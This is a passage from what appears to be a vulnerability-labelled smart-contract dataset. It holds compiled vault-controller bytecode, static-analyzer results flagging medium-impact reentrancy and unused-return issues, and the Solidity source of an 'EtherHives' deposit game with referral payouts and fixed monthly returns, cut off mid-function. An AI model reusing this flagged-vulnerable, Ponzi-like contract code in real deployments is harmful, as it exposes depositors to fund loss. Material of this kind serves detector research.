ffffffffff16815260200191505060206040518083038186803b15801561146a57600080fd5b505afa15801561147e573d6000803e3d6000fd5b505050506040513d602081101561149457600080fd5b810190808051906020019092919050505094508585111561155c576114c286866134e690919063ffffffff16565b935060006114ef6127106114e16008548861375090919063ffffffff16565b6137d690919063ffffffff16565b905061150d8461150883886134e690919063ffffffff16565b6126b9565b61155a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828673ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b505b505050505b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061161057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611682576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166351cff8d9826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561170157600080fd5b505af1158015611715573d6000803e3d6000fd5b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b61271081565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a4857600080fd5b505afa158015611a5c573d6000803e3d6000fd5b505050506040513d6020811015611a7257600080fd5b8101908080519060200190929190505050905060008573ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015611acd57600080fd5b505afa158015611ae1573d6000803e3d6000fd5b505050506040513d6020811015611af757600080fd5b81019080805190602001909291905050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8683858860006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b158015611bf657600080fd5b505afa158015611c0a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506040811015611c3457600080fd5b810190808051906020019092919080516040519392919084640100000000821115611c5e57600080fd5b83820191506020820185811115611c7457600080fd5b8251866020820283011164010000000082111715611c9157600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611cc8578082015181840152602081019050611cad565b50505050905001604052505050508093505050509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663722713f76040518163ffffffff1660e01b815260040160206040518083038186803b158015611d8a57600080fd5b505afa158015611d9e573d6000803e3d6000fd5b505050506040513d6020811015611db457600080fd5b81019080805190602001909291905050509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e7457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fe7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f7661756c7400000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061211157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612286576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f21617070726f766564000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146123a3578073ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561236657600080fd5b505af115801561237a573d6000803e3d6000fd5b505050506040513d602081101561239057600080fd5b8101908080519060200190929190505050505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b15801561276557600080fd5b505afa158015612779573d6000803e3d6000fd5b505050506040513d602081101561278f57600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461298e576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506128a181858773ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff1663def2489b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561292057600080fd5b505af1158015612934573d6000803e3d6000fd5b505050506040513d602081101561294a57600080fd5b8101908080519060200190929190505050935061298883858473ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b506129ba565b6129b982848673ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b5b8173ffffffffffffffffffffffffffffffffffffffff1663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612ae2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612c2357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612c95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b612cc033828473ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612e7257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612ee4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60066020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146130a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146131ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561329e57600080fd5b505af11580156132b2573d6000803e3d6000fd5b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061338e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b613400576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156134a757600080fd5b505af11580156134bb573d6000803e3d6000fd5b505050506040513d60208110156134d157600080fd5b81019080805190602001909291905050505050565b600061352883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506138f1565b905092915050565b600081148061362a575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156135ed57600080fd5b505afa158015613601573d6000803e3d6000fd5b505050506040513d602081101561361757600080fd5b8101908080519060200190929190505050145b61367f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180613d596036913960400191505060405180910390fd5b61374b838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506139b1565b505050565b60008083141561376357600090506137d0565b600082840290508284828161377457fe5b04146137cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d0e6021913960400191505060405180910390fd5b809150505b92915050565b600061381883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613bfc565b905092915050565b6138ec838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506139b1565b505050565b600083831115829061399e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613963578082015181840152602081019050613948565b50505050905090810190601f1680156139905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6139d08273ffffffffffffffffffffffffffffffffffffffff16613cc2565b613a42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310613a915780518252602082019150602081019050602083039250613a6e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613af3576040519150601f19603f3d011682016040523d82523d6000602084013e613af8565b606091505b509150915081613b70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613bf657808060200190516020811015613b8f57600080fd5b8101908080519060200190929190505050613bf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d2f602a913960400191505060405180910390fd5b5b50505050565b60008083118290613ca8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613c6d578082015181840152602081019050613c52565b50505050905090810190601f168015613c9a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613cb457fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015613d045750808214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a723158208a86b17b378386daea99ce2365329109d8ada6e7ffe063538a7e861e96a306a064736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
15
0xf1a2a19eec4d57c2410606fb02e5c2b930530f1c
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract UserBonus { using SafeMath for uint256; uint256 public constant BONUS_PERCENTS_PER_WEEK = 1; uint256 public constant BONUS_TIME = 1 weeks; struct UserBonusData { uint256 threadPaid; uint256 lastPaidTime; uint256 numberOfUsers; mapping(address => bool) userRegistered; mapping(address => uint256) userPaid; } UserBonusData public bonus; event BonusPaid(uint256 users, uint256 amount); event UserAddedToBonus(address indexed user); modifier payRepBonusIfNeeded { payRepresentativeBonus(); _; } constructor() public { bonus.lastPaidTime = block.timestamp; } function payRepresentativeBonus() public { while (bonus.numberOfUsers > 0 && bonus.lastPaidTime.add(BONUS_TIME) <= block.timestamp) { uint256 reward = address(this).balance.mul(BONUS_PERCENTS_PER_WEEK).div(100); bonus.threadPaid = bonus.threadPaid.add(reward.div(bonus.numberOfUsers)); bonus.lastPaidTime = bonus.lastPaidTime.add(BONUS_TIME); emit BonusPaid(bonus.numberOfUsers, reward); } } function userRegisteredForBonus(address user) public view returns(bool) { return bonus.userRegistered[user]; } function userBonusPaid(address user) public view returns(uint256) { return bonus.userPaid[user]; } function userBonusEarned(address user) public view returns(uint256) { return bonus.userRegistered[user] ? bonus.threadPaid.sub(bonus.userPaid[user]) : 0; } function retrieveBonus() public virtual payRepBonusIfNeeded { require(bonus.userRegistered[msg.sender], "User not registered for bonus"); uint256 amount = Math.min(address(this).balance, userBonusEarned(msg.sender)); bonus.userPaid[msg.sender] = bonus.userPaid[msg.sender].add(amount); msg.sender.transfer(amount); } function _addUserToBonus(address user) internal payRepBonusIfNeeded { require(!bonus.userRegistered[user], "User already registered for bonus"); bonus.userRegistered[user] = true; bonus.userPaid[user] = bonus.threadPaid; bonus.numberOfUsers = bonus.numberOfUsers.add(1); emit UserAddedToBonus(user); } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function renounceOwnership() public override(Ownable) onlyOwner { revert(); } function transferOwnership(address newOwner) public override(Ownable) onlyOwner { pendingOwner = newOwner; } function claimOwnership() public virtual onlyPendingOwner { transferOwnership(pendingOwner); delete pendingOwner; } } contract EtherHives is Claimable, UserBonus { struct Player { uint256 registeredDate; bool airdropCollected; address referrer; uint256 balanceHoney; uint256 balanceWax; uint256 points; uint256 medals; uint256 qualityLevel; uint256 lastTimeCollected; uint256 unlockedBee; uint256[BEES_COUNT] bees; uint256 totalDeposited; uint256 totalWithdrawed; uint256 referralsTotalDeposited; uint256 subreferralsCount; address[] referrals; } uint256 public constant BEES_COUNT = 8; uint256 public constant SUPER_BEE_INDEX = BEES_COUNT - 1; uint256 public constant TRON_BEE_INDEX = BEES_COUNT - 2; uint256 public constant MEDALS_COUNT = 10; uint256 public constant QUALITIES_COUNT = 6; uint256[BEES_COUNT] public BEES_PRICES = [0e18, 1500e18, 7500e18, 30000e18, 75000e18, 250000e18, 750000e18, 100000e18]; uint256[BEES_COUNT] public BEES_LEVELS_PRICES = [0e18, 0e18, 11250e18, 45000e18, 112500e18, 375000e18, 1125000e18, 0]; uint256[BEES_COUNT] public BEES_MONTHLY_PERCENTS = [0, 220, 223, 226, 229, 232, 235, 333]; uint256[MEDALS_COUNT] public MEDALS_POINTS = [0e18, 50000e18, 190000e18, 510000e18, 1350000e18, 3225000e18, 5725000e18, 8850000e18, 12725000e18, 23500000e18]; uint256[MEDALS_COUNT] public MEDALS_REWARDS = [0e18, 3500e18, 10500e18, 24000e18, 65000e18, 140000e18, 185000e18, 235000e18, 290000e18, 800000e18]; uint256[QUALITIES_COUNT] public QUALITY_HONEY_PERCENT = [80, 82, 84, 86, 88, 90]; uint256[QUALITIES_COUNT] public QUALITY_PRICE = [0e18, 15000e18, 50000e18, 120000e18, 250000e18, 400000e18]; uint256 public constant COINS_PER_ETH = 250000; uint256 public constant MAX_BEES_PER_TARIFF = 32; uint256 public constant FIRST_BEE_AIRDROP_AMOUNT = 500e18; uint256 public constant ADMIN_PERCENT = 10; uint256 public constant HONEY_DISCOUNT_PERCENT = 10; uint256 public constant SUPERBEE_PERCENT_UNLOCK = 5; uint256 public constant SUPER_BEE_BUYER_PERIOD = 7 days; uint256[] public REFERRAL_PERCENT_PER_LEVEL = [5, 3, 2]; uint256[] public REFERRAL_POINT_PERCENT = [50, 25, 0]; uint256 public maxBalance; uint256 public totalPlayers; uint256 public totalDeposited; uint256 public totalWithdrawed; uint256 public totalBeesBought; mapping(address => Player) public players; event Registered(address indexed user, address indexed referrer); event Deposited(address indexed user, uint256 amount); event Withdrawed(address indexed user, uint256 amount); event ReferrerPaid(address indexed user, address indexed referrer, uint256 indexed level, uint256 amount); event MedalAwarded(address indexed user, uint256 indexed medal); event QualityUpdated(address indexed user, uint256 indexed quality); event RewardCollected(address indexed user, uint256 honeyReward, uint256 waxReward); event BeeUnlocked(address indexed user, uint256 bee); event BeesBought(address indexed user, uint256 bee, uint256 count); constructor() public { _register(owner(), address(0)); } receive() external payable { if (msg.value == 0) { if (players[msg.sender].registeredDate > 0) { collect(); } } else { deposit(address(0)); } } function playerBees(address who) public view returns(uint256[BEES_COUNT] memory) { return players[who].bees; } function superBeeUnlocked() public view returns(bool) { return address(this).balance <= maxBalance.mul(100 - SUPERBEE_PERCENT_UNLOCK).div(100); } function referrals(address user) public view returns(address[] memory) { return players[user].referrals; } function referrerOf(address user, address ref) internal view returns(address) { if (players[user].registeredDate == 0 && ref != user) { return ref; } return players[user].referrer; } function transfer(address account, uint256 amount) public returns(bool) { require(msg.sender == owner()); collect(); _payWithWaxAndHoney(msg.sender, amount); players[account].balanceWax = players[account].balanceWax.add(amount); return true; } function deposit(address ref) public payable payRepBonusIfNeeded { Player storage player = players[msg.sender]; address refAddress = referrerOf(msg.sender, ref); require((msg.value == 0) != player.registeredDate > 0, "Send 0 for registration"); if (player.registeredDate == 0) { _register(msg.sender, refAddress); } collect(); uint256 wax = msg.value.mul(COINS_PER_ETH); player.balanceWax = player.balanceWax.add(wax); player.totalDeposited = player.totalDeposited.add(msg.value); totalDeposited = totalDeposited.add(msg.value); player.points = player.points.add(wax); emit Deposited(msg.sender, msg.value); _distributeFees(msg.sender, wax, msg.value, refAddress); _addToBonusIfNeeded(msg.sender); uint256 adminWithdrawed = players[owner()].totalWithdrawed; maxBalance = Math.max(maxBalance, address(this).balance.add(adminWithdrawed)); } function withdraw(uint256 amount) public { Player storage player = players[msg.sender]; collect(); uint256 value = amount.div(COINS_PER_ETH); require(value > 0, "Trying to withdraw too small"); player.balanceHoney = player.balanceHoney.sub(amount); player.totalWithdrawed = player.totalWithdrawed.add(value); totalWithdrawed = totalWithdrawed.add(value); msg.sender.transfer(value); emit Withdrawed(msg.sender, value); } function collect() public payRepBonusIfNeeded { Player storage player = players[msg.sender]; require(player.registeredDate > 0, "Not registered yet"); if (userBonusEarned(msg.sender) > 0) { retrieveBonus(); } (uint256 balanceHoney, uint256 balanceWax) = instantBalance(msg.sender); emit RewardCollected( msg.sender, balanceHoney.sub(player.balanceHoney), balanceWax.sub(player.balanceWax) ); if (!player.airdropCollected && player.registeredDate < now) { player.airdropCollected = true; } player.balanceHoney = balanceHoney; player.balanceWax = balanceWax; player.lastTimeCollected = block.timestamp; } function instantBalance(address account) public view returns( uint256 balanceHoney, uint256 balanceWax ) { Player storage player = players[account]; if (player.registeredDate == 0) { return (0, 0); } balanceHoney = player.balanceHoney; balanceWax = player.balanceWax; uint256 collected = earned(account); if (!player.airdropCollected && player.registeredDate < now) { collected = collected.sub(FIRST_BEE_AIRDROP_AMOUNT); balanceWax = balanceWax.add(FIRST_BEE_AIRDROP_AMOUNT); } uint256 honeyReward = collected.mul(QUALITY_HONEY_PERCENT[player.qualityLevel]).div(100); uint256 waxReward = collected.sub(honeyReward); balanceHoney = balanceHoney.add(honeyReward); balanceWax = balanceWax.add(waxReward); } function unlock(uint256 bee) public payable payRepBonusIfNeeded { Player storage player = players[msg.sender]; if (msg.value > 0) { deposit(address(0)); } collect(); require(bee < SUPER_BEE_INDEX, "No more levels to unlock"); require(player.bees[bee - 1] == MAX_BEES_PER_TARIFF, "Prev level must be filled"); require(bee == player.unlockedBee + 1, "Trying to unlock wrong bee type"); if (bee == TRON_BEE_INDEX) { require(player.medals >= 9); } _payWithWaxAndHoney(msg.sender, BEES_LEVELS_PRICES[bee]); player.unlockedBee = bee; player.bees[bee] = 1; emit BeeUnlocked(msg.sender, bee); } function buyBees(uint256 bee, uint256 count) public payable payRepBonusIfNeeded { Player storage player = players[msg.sender]; if (msg.value > 0) { deposit(address(0)); } collect(); require(bee > 0 && bee < BEES_COUNT, "Don't try to buy bees of type 0"); if (bee == SUPER_BEE_INDEX) { require(superBeeUnlocked(), "SuperBee is not unlocked yet"); require(block.timestamp.sub(player.registeredDate) < SUPER_BEE_BUYER_PERIOD, "You should be registered less than 7 days ago"); } else { require(bee <= 